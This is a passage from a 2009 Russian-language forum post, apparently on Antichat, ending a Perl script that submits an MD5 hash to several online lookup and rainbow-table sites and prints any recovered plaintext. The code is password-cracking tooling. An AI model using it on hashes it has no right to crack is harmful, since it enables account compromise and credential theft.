www.bigtrapeze.com          ----  ";  if ($request->content =~ /The hash   <strong>$hash<\/strong> has been deciphered to:   <strong>(.+)<\/strong>/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }  $url = "http://opencrack.hashkiller.com/";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["oc_check_md5" => $hash,   "submit" => "Search MD5"]);   print "16 opencrack.hashkiller.com    ----  ";  if ($request->content =~ /<\/div><div   class="result">$hash:(.+)<br\/>/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }  $url = "http://md5live.com/index.php?  format=md5&search=$hash";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");  $connect = $lwp -> get($url);   print "17 md5live.com                 ----  ";  if ($connect -> content =~ /(.+)<br \/>/){ print "Result : $1\n";  }  $url = "http://www.md5hood.com/";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["md5" => $hash, "submit" =>   "Search"]);   print "18 www.md5hood.com             ----  ";  if ($request->content =~ /				  <div class="result_found">(.+)<\/div>/){  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  }  $url = "https://www.astalavista.net/?cmd=rainbowtables";  $lwp = LWP::UserAgent->new();  $lwp->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en;   rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4"); $request = $lwp->post($url, ["query_hash" => $hash,   "submit" => "Search", "hash_algorithm_query" => "MD5"]);   print "19 www.astalavista.net         ----  ";  if ($request->content =~ /<\/td><\/tr><tr><td><b>Plain-  Text:<\/b><\/td><\/tr><tr><td>(.+)/) {  print "Result : $1\n";  } else {  print "Result : Hash not found!\n";  } }  ## # Coded By  hors_de_prix ##

Последний раз редактировалось hors_de_prix; 10.05.2009 в 14:02.. Причина: настраивал
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.